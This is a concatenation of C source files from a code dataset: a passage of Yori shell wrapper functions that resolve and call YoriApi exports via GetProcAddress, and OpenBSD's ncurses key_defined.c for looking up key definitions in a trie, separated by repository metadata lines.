return FALSE;
}
}
return pYoriApiExpandAlias(CommandString, ExpandedString);
}
/**
Prototype for the @ref YoriApiExitProcess function.
*/
typedef VOID YORI_API_EXIT_PROCESS(DWORD);
/**
Prototype for a pointer to the @ref YoriApiExitProcess function.
*/
typedef YORI_API_EXIT_PROCESS *PYORI_API_EXIT_PROCESS;
/**
Pointer to the @ref YoriApiExitProcess function.
*/
PYORI_API_EXIT_PROCESS pYoriApiExitProcess;
/**
Terminates the currently running instance of Yori.
@param ExitCode The exit code to return.
*/
VOID
YoriCallExitProcess(
__in DWORD ExitCode
)
{
if (pYoriApiExitProcess == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiExitProcess = (PYORI_API_EXIT_PROCESS)GetProcAddress(hYori, "YoriApiExitProcess");
if (pYoriApiExitProcess == NULL) {
return;
}
}
pYoriApiExitProcess(ExitCode);
}
/**
Prototype for the @ref YoriApiFreeYoriString function.
*/
typedef VOID YORI_API_FREE_YORI_STRING(PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiFreeYoriString function.
*/
typedef YORI_API_FREE_YORI_STRING *PYORI_API_FREE_YORI_STRING;
/**
Pointer to the @ref YoriApiFreeYoriString function.
*/
PYORI_API_FREE_YORI_STRING pYoriApiFreeYoriString;
/**
Free a previously returned Yori string.
@param String Pointer to the string to free.
*/
VOID
YoriCallFreeYoriString(
__in PYORI_STRING String
)
{
if (pYoriApiFreeYoriString == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiFreeYoriString = (PYORI_API_FREE_YORI_STRING)GetProcAddress(hYori, "YoriApiFreeYoriString");
if (pYoriApiFreeYoriString == NULL) {
return;
}
}
pYoriApiFreeYoriString(String);
}
/**
Prototype for the @ref YoriApiGetAliasStrings function.
*/
typedef BOOL YORI_API_GET_ALIAS_STRINGS(PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiGetAliasStrings function.
*/
typedef YORI_API_GET_ALIAS_STRINGS *PYORI_API_GET_ALIAS_STRINGS;
/**
Pointer to the @ref YoriApiGetAliasStrings function.
*/
PYORI_API_GET_ALIAS_STRINGS pYoriApiGetAliasStrings;
/**
Build the complete set of aliases into a an array of key value pairs
and return a pointer to the result. This must be freed with a
subsequent call to @ref YoriCallFreeYoriString .
@param AliasStrings On successful completion, populated with alias strings.
@return TRUE to indicate success, or FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallGetAliasStrings(
__out PYORI_STRING AliasStrings
)
{
if (pYoriApiGetAliasStrings == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiGetAliasStrings = (PYORI_API_GET_ALIAS_STRINGS)GetProcAddress(hYori, "YoriApiGetAliasStrings");
if (pYoriApiGetAliasStrings == NULL) {
return FALSE;
}
}
return pYoriApiGetAliasStrings(AliasStrings);
}
/**
Prototype for the YoriApiGetEnvironmentVariable function.
*/
typedef BOOL YORI_API_GET_ENVIRONMENT_VARIABLE(PYORI_STRING, PYORI_STRING);
/**
Prototype for a pointer to the YoriApiGetEnvironmentVariable function.
*/
typedef YORI_API_GET_ENVIRONMENT_VARIABLE *PYORI_API_GET_ENVIRONMENT_VARIABLE;
/**
Pointer to the @ref YoriApiGetEnvironmentVariable function.
*/
PYORI_API_GET_ENVIRONMENT_VARIABLE pYoriApiGetEnvironmentVariable;
/**
Get an environment variable from the Yori shell process.
@param VariableName The variable name to get.
@param Value Pointer to the string to receive the value. The string is
allocated within this function and should be freed with
@ref YoriCallFreeYoriString .
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallGetEnvironmentVariable(
__in PYORI_STRING VariableName,
__out PYORI_STRING Value
)
{
if (pYoriApiGetEnvironmentVariable == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiGetEnvironmentVariable = (PYORI_API_GET_ENVIRONMENT_VARIABLE)GetProcAddress(hYori, "YoriApiGetEnvironmentVariable");
if (pYoriApiGetEnvironmentVariable == NULL) {
return FALSE;
}
}
return pYoriApiGetEnvironmentVariable(VariableName, Value);
}
/**
Prototype for the @ref YoriApiGetErrorLevel function.
*/
typedef DWORD YORI_API_GET_ERRORLEVEL(VOID);
/**
Prototype for a pointer to the @ref YoriApiGetErrorLevel function.
*/
typedef YORI_API_GET_ERRORLEVEL *PYORI_API_GET_ERRORLEVEL;
/**
Pointer to the @ref YoriApiGetErrorLevel function.
*/
PYORI_API_GET_ERRORLEVEL pYoriApiGetErrorLevel;
/**
Return the previous errorlevel.
@return The previous errorlevel.
*/
DWORD
YoriCallGetErrorLevel(VOID)
{
if (pYoriApiGetErrorLevel == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiGetErrorLevel = (PYORI_API_GET_ERRORLEVEL)GetProcAddress(hYori, "YoriApiGetErrorLevel");
if (pYoriApiGetErrorLevel == NULL) {
return 1;
}
}
return pYoriApiGetErrorLevel();
}
/**
Prototype for the @ref YoriApiGetEscapedArguments function.
*/
typedef BOOL YORI_API_GET_ESCAPED_ARGUMENTS(PDWORD, PYORI_STRING*);
/**
Prototype for a pointer to the @ref YoriApiGetEscapedArguments function.
*/
typedef YORI_API_GET_ESCAPED_ARGUMENTS *PYORI_API_GET_ESCAPED_ARGUMENTS;
/**
Pointer to the @ref YoriApiGetEscapedArguments function.
*/
PYORI_API_GET_ESCAPED_ARGUMENTS pYoriApiGetEscapedArguments;
/**
Return the original arguments before escapes have been removed when calling
a builtin.
@param ArgC Pointer to a location to receive the number of arguments.
@param ArgV Pointer to a location to receive the array of strings.
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallGetEscapedArguments(
__out PDWORD ArgC,
__out PYORI_STRING * ArgV
)
{
if (pYoriApiGetEscapedArguments == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiGetEscapedArguments = (PYORI_API_GET_ESCAPED_ARGUMENTS)GetProcAddress(hYori, "YoriApiGetEscapedArguments");
if (pYoriApiGetEscapedArguments == NULL) {
return FALSE;
}
}
return pYoriApiGetEscapedArguments(ArgC, ArgV);
}
/**
Prototype for the @ref YoriApiGetHistoryStrings function.
*/
typedef BOOL YORI_API_GET_HISTORY_STRINGS(DWORD, PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiGetHistoryStrings function.
*/
typedef YORI_API_GET_HISTORY_STRINGS *PYORI_API_GET_HISTORY_STRINGS;
/**
Pointer to the @ref YoriApiGetHistoryStrings function.
*/
PYORI_API_GET_HISTORY_STRINGS pYoriApiGetHistoryStrings;
/**
Build history into an array of NULL terminated strings terminated by an
additional NULL terminator. The result must be freed with a subsequent
call to @ref YoriCallFreeYoriString .
@param MaximumNumber Specifies the maximum number of lines of history to
return. This number refers to the most recent history entries.
If this value is zero, all are returned.
@param HistoryStrings On successful completion, populated with the set of
history strings.
@return Return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallGetHistoryStrings(
__in DWORD MaximumNumber,
__out PYORI_STRING HistoryStrings
)
{
if (pYoriApiGetHistoryStrings == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiGetHistoryStrings = (PYORI_API_GET_HISTORY_STRINGS)GetProcAddress(hYori, "YoriApiGetHistoryStrings");
if (pYoriApiGetHistoryStrings == NULL) {
return FALSE;
}
}
return pYoriApiGetHistoryStrings(MaximumNumber, HistoryStrings);
}
/**
Prototype for the @ref YoriApiGetJobInformation function.
*/
typedef BOOL YORI_API_GET_JOB_INFORMATION(DWORD, PBOOL, PBOOL, PDWORD, PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiGetJobInformation function.
*/
typedef YORI_API_GET_JOB_INFORMATION *PYORI_API_GET_JOB_INFORMATION;
/**
Pointer to the @ref YoriApiGetJobInformation function.
*/
PYORI_API_GET_JOB_INFORMATION pYoriApiGetJobInformation;
/**
Returns information associated with an executing or completed job ID.
@param JobId The ID to query information for.
@param HasCompleted On successful completion, set to TRUE if the job has
finished executing; FALSE if the job is still executing.
@param HasOutput On successful completion, set to TRUE if the job has
output buffers retained that can be displayed as needed.
This is only meaningful if the job has completed.
@param ExitCode On successful completion, once the job has completed,
contains the exit code from the job.
@param Command On successful completion, updated to contain the command
line used to initiate the job.
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallGetJobInformation(
__in DWORD JobId,
__out PBOOL HasCompleted,
__out PBOOL HasOutput,
__out PDWORD ExitCode,
__inout PYORI_STRING Command
)
{
if (pYoriApiGetJobInformation == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiGetJobInformation = (PYORI_API_GET_JOB_INFORMATION)GetProcAddress(hYori, "YoriApiGetJobInformation");
if (pYoriApiGetJobInformation == NULL) {
return FALSE;
}
}
return pYoriApiGetJobInformation(JobId, HasCompleted, HasOutput, ExitCode, Command);
}
/**
Prototype for the @ref YoriApiGetJobOutput function.
*/
typedef BOOL YORI_API_GET_JOB_OUTPUT(DWORD, PYORI_STRING, PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiGetJobOutput function.
*/
typedef YORI_API_GET_JOB_OUTPUT *PYORI_API_GET_JOB_OUTPUT;
/**
Pointer to the @ref YoriApiGetJobOutput function.
*/
PYORI_API_GET_JOB_OUTPUT pYoriApiGetJobOutput;
/**
Given a job ID, return the output buffer associated with the job.
@param JobId The job ID to query the output buffer for.
@param Output On successful completion, populated with the job output.
@param Errors On successful completion, populated with the job errors.
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallGetJobOutput(
__in DWORD JobId,
__out PYORI_STRING Output,
__out PYORI_STRING Errors
)
{
if (pYoriApiGetJobOutput == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiGetJobOutput = (PYORI_API_GET_JOB_OUTPUT)GetProcAddress(hYori, "YoriApiGetJobOutput");
if (pYoriApiGetJobOutput == NULL) {
return 0;
}
}
return pYoriApiGetJobOutput(JobId, Output, Errors);
}
/**
Prototype for the @ref YoriApiGetNextJobId function.
*/
typedef DWORD YORI_API_GET_NEXT_JOB_ID(DWORD);
/**
Prototype for a pointer to the @ref YoriApiGetNextJobId function.
*/
typedef YORI_API_GET_NEXT_JOB_ID *PYORI_API_GET_NEXT_JOB_ID;
/**
Pointer to the @ref YoriApiGetNextJobId function.
*/
PYORI_API_GET_NEXT_JOB_ID pYoriApiGetNextJobId;
/**
Given a previous job ID, return the next ID that is currently executing.
To commence from the beginning, specify a PreviousJobId of zero.
@param PreviousJobId The ID that was previously returned, or zero to
commence from the beginning.
@return The next job ID, or zero if all have been enumerated.
*/
DWORD
YoriCallGetNextJobId(
__in DWORD PreviousJobId
)
{
if (pYoriApiGetNextJobId == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiGetNextJobId = (PYORI_API_GET_NEXT_JOB_ID)GetProcAddress(hYori, "YoriApiGetNextJobId");
if (pYoriApiGetNextJobId == NULL) {
return 0;
}
}
return pYoriApiGetNextJobId(PreviousJobId);
}
/**
Prototype for the @ref YoriApiGetSystemAliasStrings function.
*/
typedef BOOL YORI_API_GET_SYSTEM_ALIAS_STRINGS(PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiGetSystemAliasStrings function.
*/
typedef YORI_API_GET_SYSTEM_ALIAS_STRINGS *PYORI_API_GET_SYSTEM_ALIAS_STRINGS;
/**
Pointer to the @ref YoriApiGetSystemAliasStrings function.
*/
PYORI_API_GET_SYSTEM_ALIAS_STRINGS pYoriApiGetSystemAliasStrings;
/**
Build the set of system defined aliases into a an array of key value pairs
and return a pointer to the result. This must be freed with a
subsequent call to @ref YoriCallFreeYoriString .
@param AliasStrings On successful completion, populated with alias strings.
@return TRUE to indicate success, or FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallGetSystemAliasStrings(
__out PYORI_STRING AliasStrings
)
{
if (pYoriApiGetSystemAliasStrings == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiGetSystemAliasStrings = (PYORI_API_GET_SYSTEM_ALIAS_STRINGS)GetProcAddress(hYori, "YoriApiGetSystemAliasStrings");
if (pYoriApiGetSystemAliasStrings == NULL) {
return FALSE;
}
}
return pYoriApiGetSystemAliasStrings(AliasStrings);
}
/**
Prototype for the @ref YoriApiGetYoriVersion function.
*/
typedef BOOL YORI_API_GET_YORI_VERSION(PDWORD, PDWORD);
/**
Prototype for a pointer to the @ref YoriApiGetYoriVersion function.
*/
typedef YORI_API_GET_YORI_VERSION *PYORI_API_GET_YORI_VERSION;
/**
Pointer to the @ref YoriApiGetYoriVersion function.
*/
PYORI_API_GET_YORI_VERSION pYoriApiGetYoriVersion;
/**
Returns the version number associated with this build of the Yori shell.
@param MajorVersion On successful completion, updated to contain the major
version number.
@param MinorVersion On successful completion, updated to contain the minor
version number.
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallGetYoriVersion(
__out PDWORD MajorVersion,
__out PDWORD MinorVersion
)
{
if (pYoriApiGetYoriVersion == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiGetYoriVersion = (PYORI_API_GET_YORI_VERSION)GetProcAddress(hYori, "YoriApiGetYoriVersion");
if (pYoriApiGetYoriVersion == NULL) {
return FALSE;
}
}
return pYoriApiGetYoriVersion(MajorVersion, MinorVersion);
}
/**
Prototype for the @ref YoriApiIncrementPromptRecursionDepth function.
*/
typedef BOOL YORI_API_INCREMENT_PROMPT_RECURSION_DEPTH(VOID);
/**
Prototype for a pointer to the @ref YoriApiIncrementPromptRecursionDepth function.
*/
typedef YORI_API_INCREMENT_PROMPT_RECURSION_DEPTH *PYORI_API_INCREMENT_PROMPT_RECURSION_DEPTH;
/**
Pointer to the @ref YoriApiIncrementPromptRecursionDepth function.
*/
PYORI_API_INCREMENT_PROMPT_RECURSION_DEPTH pYoriApiIncrementPromptRecursionDepth;
/**
Increments the recursion depth that the prompt should display when the $+$
token is used.
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallIncrementPromptRecursionDepth(VOID)
{
if (pYoriApiIncrementPromptRecursionDepth == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiIncrementPromptRecursionDepth = (PYORI_API_INCREMENT_PROMPT_RECURSION_DEPTH)GetProcAddress(hYori, "YoriApiIncrementPromptRecursionDepth");
if (pYoriApiIncrementPromptRecursionDepth == NULL) {
return FALSE;
}
}
return pYoriApiIncrementPromptRecursionDepth();
}
/**
Prototype for the @ref YoriApiIsProcessExiting function.
*/
typedef BOOL YORI_API_IS_PROCESS_EXITING(VOID);
/**
Prototype for a pointer to the @ref YoriApiIsProcessExiting function.
*/
typedef YORI_API_IS_PROCESS_EXITING *PYORI_API_IS_PROCESS_EXITING;
/**
Pointer to the @ref YoriApiIsProcessExiting function.
*/
PYORI_API_IS_PROCESS_EXITING pYoriApiIsProcessExiting;
/**
Return TRUE if the shell process has been requested to terminate.
@return TRUE if the process is being requested to terminate, FALSE if not.
*/
BOOL
YoriCallIsProcessExiting(VOID)
{
if (pYoriApiIsProcessExiting == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiIsProcessExiting = (PYORI_API_IS_PROCESS_EXITING)GetProcAddress(hYori, "YoriApiIsProcessExiting");
if (pYoriApiIsProcessExiting == NULL) {
return FALSE;
}
}
return pYoriApiIsProcessExiting();
}
/**
Prototype for the @ref YoriApiPipeJobOutput function.
*/
typedef BOOL YORI_API_PIPE_JOB_OUTPUT(DWORD, HANDLE, HANDLE);
/**
Prototype for a pointer to the @ref YoriApiPipeJobOutput function.
*/
typedef YORI_API_PIPE_JOB_OUTPUT *PYORI_API_PIPE_JOB_OUTPUT;
/**
Pointer to the @ref YoriApiPipeJobOutput function.
*/
PYORI_API_PIPE_JOB_OUTPUT pYoriApiPipeJobOutput;
/**
Given a job ID, push data in the output buffers associated with a job
through a pipe.
@param JobId The job ID to query the output buffer for.
@param hPipeOutput Writable end of a pipe to push output buffers through.
@param hPipeErrors Writable end of a pipe to push errors through.
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallPipeJobOutput(
__in DWORD JobId,
__in_opt HANDLE hPipeOutput,
__in_opt HANDLE hPipeErrors
)
{
if (pYoriApiPipeJobOutput == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiPipeJobOutput = (PYORI_API_PIPE_JOB_OUTPUT)GetProcAddress(hYori, "YoriApiPipeJobOutput");
if (pYoriApiPipeJobOutput == NULL) {
return 0;
}
}
return pYoriApiPipeJobOutput(JobId, hPipeOutput, hPipeErrors);
}
/**
Prototype for the YoriApiSetCurrentDirectory function.
*/
typedef BOOL YORI_API_SET_CURRENT_DIRECTORY(PYORI_STRING);
/**
Prototype for a pointer to the YoriApiSetCurrentDirectory function.
*/
typedef YORI_API_SET_CURRENT_DIRECTORY *PYORI_API_SET_CURRENT_DIRECTORY;
/**
Pointer to the @ref YoriApiSetCurrentDirectory function.
*/
PYORI_API_SET_CURRENT_DIRECTORY pYoriApiSetCurrentDirectory;
/**
Set the current directory in the Yori shell process.
@param NewCurrentDirectory The new current directory to apply.
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallSetCurrentDirectory(
__in PYORI_STRING NewCurrentDirectory
)
{
if (pYoriApiSetCurrentDirectory == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiSetCurrentDirectory = (PYORI_API_SET_CURRENT_DIRECTORY)GetProcAddress(hYori, "YoriApiSetCurrentDirectory");
if (pYoriApiSetCurrentDirectory == NULL) {
return FALSE;
}
}
return pYoriApiSetCurrentDirectory(NewCurrentDirectory);
}
/**
Prototype for the YoriApiSetDefaultColor function.
*/
typedef VOID YORI_API_SET_DEFAULT_COLOR(WORD);
/**
Prototype for a pointer to the YoriApiSetDefaultColor function.
*/
typedef YORI_API_SET_DEFAULT_COLOR *PYORI_API_SET_DEFAULT_COLOR;
/**
Pointer to the @ref YoriApiSetDefaultColor function.
*/
PYORI_API_SET_DEFAULT_COLOR pYoriApiSetDefaultColor;
/**
Set the default color for the process. The default color is the one that
will be used when a reset command is issued to the terminal. For most
processes, this is the color that was active when the process started,
but it can be changed later with this function.
@param NewDefaultColor The new default color, in Win32 format.
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallSetDefaultColor(
__in WORD NewDefaultColor
)
{
if (pYoriApiSetDefaultColor == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiSetDefaultColor = (PYORI_API_SET_DEFAULT_COLOR)GetProcAddress(hYori, "YoriApiSetDefaultColor");
if (pYoriApiSetDefaultColor == NULL) {
return FALSE;
}
}
pYoriApiSetDefaultColor(NewDefaultColor);
return TRUE;
}
/**
Prototype for the YoriApiSetEnvironmentVariable function.
*/
typedef VOID YORI_API_SET_ENVIRONMENT_VARIABLE(PYORI_STRING, PYORI_STRING);
/**
Prototype for a pointer to the YoriApiSetEnvironmentVariable function.
*/
typedef YORI_API_SET_ENVIRONMENT_VARIABLE *PYORI_API_SET_ENVIRONMENT_VARIABLE;
/**
Pointer to the @ref YoriApiSetEnvironmentVariable function.
*/
PYORI_API_SET_ENVIRONMENT_VARIABLE pYoriApiSetEnvironmentVariable;
/**
Set an environment variable in the Yori shell process.
@param VariableName The variable name to set.
@param Value Pointer to the value to set. If NULL, the variable is deleted.
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallSetEnvironmentVariable(
__in PYORI_STRING VariableName,
__in_opt PYORI_STRING Value
)
{
if (pYoriApiSetEnvironmentVariable == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiSetEnvironmentVariable = (PYORI_API_SET_ENVIRONMENT_VARIABLE)GetProcAddress(hYori, "YoriApiSetEnvironmentVariable");
if (pYoriApiSetEnvironmentVariable == NULL) {
return FALSE;
}
}
pYoriApiSetEnvironmentVariable(VariableName, Value);
return TRUE;
}
/**
Prototype for the @ref YoriApiSetJobPriority function.
*/
typedef BOOL YORI_API_SET_JOB_PRIORITY(DWORD, DWORD);
/**
Prototype for a pointer to the @ref YoriApiSetJobPriority function.
*/
typedef YORI_API_SET_JOB_PRIORITY *PYORI_API_SET_JOB_PRIORITY;
/**
Pointer to the @ref YoriApiSetJobPriority function.
*/
PYORI_API_SET_JOB_PRIORITY pYoriApiSetJobPriority;
/**
Sets the priority associated with a job.
@param JobId The ID to set priority for.
@param PriorityClass The new priority class.
@return TRUE to indicate that the priority class was changed, FALSE if it
was not.
*/
__success(return)
BOOL
YoriCallSetJobPriority(
__in DWORD JobId,
__in DWORD PriorityClass
)
{
if (pYoriApiSetJobPriority == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiSetJobPriority = (PYORI_API_SET_JOB_PRIORITY)GetProcAddress(hYori, "YoriApiSetJobPriority");
if (pYoriApiSetJobPriority == NULL) {
return FALSE;
}
}
return pYoriApiSetJobPriority(JobId, PriorityClass);
}
/**
Prototype for the @ref YoriApiSetNextCommand function.
*/
typedef BOOL YORI_API_SET_NEXT_COMMAND(PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiSetNextCommand function.
*/
typedef YORI_API_SET_NEXT_COMMAND *PYORI_API_SET_NEXT_COMMAND;
/**
Pointer to the @ref YoriApiSetNextCommand function.
*/
PYORI_API_SET_NEXT_COMMAND pYoriApiSetNextCommand;
/**
Sets the command to be visible on next user prompt.
@param NextCommand Pointer to the string to populate on the command line on
he next prompt.
@return TRUE to indicate that the command was populated, FALSE if it was not.
*/
BOOL
YoriCallSetNextCommand(
__in PYORI_STRING NextCommand
)
{
if (pYoriApiSetNextCommand == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiSetNextCommand = (PYORI_API_SET_NEXT_COMMAND)GetProcAddress(hYori, "YoriApiSetNextCommand");
if (pYoriApiSetNextCommand == NULL) {
return FALSE;
}
}
return pYoriApiSetNextCommand(NextCommand);
}
/**
Prototype for the @ref YoriApiSetUnloadRoutine function.
*/
typedef BOOL YORI_API_SET_UNLOAD_ROUTINE(PYORI_BUILTIN_UNLOAD_NOTIFY);
/**
Prototype for a pointer to the @ref YoriApiSetUnloadRoutine function.
*/
typedef YORI_API_SET_UNLOAD_ROUTINE *PYORI_API_SET_UNLOAD_ROUTINE;
/**
Pointer to the @ref YoriApiSetUnloadRoutine function.
*/
PYORI_API_SET_UNLOAD_ROUTINE pYoriApiSetUnloadRoutine;
/**
Sets the unload routine to invoke before unloading the module.
@param UnloadNotify The function to call before unloading the module.
@return TRUE to indicate that the notification function was registered,
FALSE if it was not.
*/
__success(return)
BOOL
YoriCallSetUnloadRoutine(
__in PYORI_BUILTIN_UNLOAD_NOTIFY UnloadNotify
)
{
if (pYoriApiSetUnloadRoutine == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiSetUnloadRoutine = (PYORI_API_SET_UNLOAD_ROUTINE)GetProcAddress(hYori, "YoriApiSetUnloadRoutine");
if (pYoriApiSetUnloadRoutine == NULL) {
return FALSE;
}
}
return pYoriApiSetUnloadRoutine(UnloadNotify);
}
/**
Prototype for the @ref YoriApiTerminateJob function.
*/
typedef BOOL YORI_API_TERMINATE_JOB(DWORD);
/**
Prototype for a pointer to the @ref YoriApiTerminateJob function.
*/
typedef YORI_API_TERMINATE_JOB *PYORI_API_TERMINATE_JOB;
/**
Pointer to the @ref YoriApiTerminateJob function.
*/
PYORI_API_TERMINATE_JOB pYoriApiTerminateJob;
/**
Terminates a specified job.
@param JobId The job to terminate.
@return TRUE to indicate that the job was requested to terminate, FALSE if it
was not.
*/
__success(return)
BOOL
YoriCallTerminateJob(
__in DWORD JobId
)
{
if (pYoriApiTerminateJob == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiTerminateJob = (PYORI_API_TERMINATE_JOB)GetProcAddress(hYori, "YoriApiTerminateJob");
if (pYoriApiTerminateJob == NULL) {
return FALSE;
}
}
return pYoriApiTerminateJob(JobId);
}
/**
Prototype for the @ref YoriApiWaitForJob function.
*/
typedef BOOL YORI_API_WAIT_FOR_JOB(DWORD);
/**
Prototype for a pointer to the @ref YoriApiWaitForJob function.
*/
typedef YORI_API_WAIT_FOR_JOB *PYORI_API_WAIT_FOR_JOB;
/**
Pointer to the @ref YoriApiWaitForJob function.
*/
PYORI_API_WAIT_FOR_JOB pYoriApiWaitForJob;
/**
Waits until the specified job ID is no longer active.
@param JobId The ID to wait for.
*/
VOID
YoriCallWaitForJob(
__in DWORD JobId
)
{
if (pYoriApiWaitForJob == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiWaitForJob = (PYORI_API_WAIT_FOR_JOB)GetProcAddress(hYori, "YoriApiWaitForJob");
if (pYoriApiWaitForJob == NULL) {
return;
}
}
pYoriApiWaitForJob(JobId);
}
// vim:sw=4:ts=4:et:
|
a282a735084a3c38464b8292e0b427520550f606
|
9ceacf33fd96913cac7ef15492c126d96cae6911
|
/lib/libcurses/base/key_defined.c
|
65f66486dec1e7d48d441a634a67f319ef3d21cd
|
[] |
no_license
|
openbsd/src
|
ab97ef834fd2d5a7f6729814665e9782b586c130
|
9e79f3a0ebd11a25b4bff61e900cb6de9e7795e9
|
refs/heads/master
| 2023-09-02T18:54:56.624627
| 2023-09-02T15:16:12
| 2023-09-02T15:16:12
| 66,966,208
| 3,394
| 1,235
| null | 2023-08-08T02:42:25
| 2016-08-30T18:18:25
|
C
|
UTF-8
|
C
| false
| false
| 3,477
|
c
|
key_defined.c
|
/* $OpenBSD: key_defined.c,v 1.1 2010/01/12 23:22:05 nicm Exp $ */
/****************************************************************************
* Copyright (c) 2003,2006 Free Software Foundation, Inc. *
* *
* Permission is hereby granted, free of charge, to any person obtaining a *
* copy of this software and associated documentation files (the *
* "Software"), to deal in the Software without restriction, including *
* without limitation the rights to use, copy, modify, merge, publish, *
* distribute, distribute with modifications, sublicense, and/or sell *
* copies of the Software, and to permit persons to whom the Software is *
* furnished to do so, subject to the following conditions: *
* *
* The above copyright notice and this permission notice shall be included *
* in all copies or substantial portions of the Software. *
* *
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS *
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF *
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. *
* IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, *
* DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR *
* OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR *
* THE USE OR OTHER DEALINGS IN THE SOFTWARE. *
* *
* Except as contained in this notice, the name(s) of the above copyright *
* holders shall not be used in advertising or otherwise to promote the *
* sale, use or other dealings in this Software without prior written *
* authorization. *
****************************************************************************/
/****************************************************************************
* Author: Thomas E. Dickey, 2003 *
****************************************************************************/
#include <curses.priv.h>
MODULE_ID("$Id: key_defined.c,v 1.1 2010/01/12 23:22:05 nicm Exp $")
static int
find_definition(TRIES * tree, const char *str)
{
TRIES *ptr;
int result = OK;
if (str != 0 && *str != '\0') {
for (ptr = tree; ptr != 0; ptr = ptr->sibling) {
if (UChar(*str) == UChar(ptr->ch)) {
if (str[1] == '\0' && ptr->child != 0) {
result = ERR;
} else if ((result = find_definition(ptr->child, str + 1))
== OK) {
result = ptr->value;
} else if (str[1] == '\0') {
result = ERR;
}
}
if (result != OK)
break;
}
}
return (result);
}
/*
* Returns the keycode associated with the given string. If none is found,
* return OK. If the string is only a prefix to other strings, return ERR.
* Otherwise, return the keycode's value (neither OK/ERR).
*/
NCURSES_EXPORT(int)
key_defined(const char *str)
{
int code = ERR;
T((T_CALLED("key_defined(%s)"), _nc_visbuf(str)));
if (SP != 0 && str != 0) {
code = find_definition(SP->_keytry, str);
}
returnCode(code);
}
|
b4859c546bc86674881fc601e2c974a72c350e68
|
3bd385b466cb035fecd2b0c11ae054d42bf44fc2
|
/src/match/sfx-strategy.h
|
c74b0a724ab3021133bee86028ffd40ff5393631
|
[
"LicenseRef-scancode-unknown-license-reference",
"ISC",
"BSD-2-Clause",
"LicenseRef-scancode-mit-old-style",
"Zlib",
"MIT",
"BSD-3-Clause",
"bzip2-1.0.6"
] |
permissive
|
genometools/genometools
|
c366dff04f6baa887f6b3be3ec55bce824b2bae1
|
df1df94b8c05a9c9bf848ffc6755c87b58573da5
|
refs/heads/master
| 2023-04-13T13:57:18.748796
| 2023-04-09T21:29:53
| 2023-04-09T21:29:53
| 11,177,980
| 237
| 63
|
NOASSERTION
| 2023-04-09T21:29:54
| 2013-07-04T13:39:38
|
C
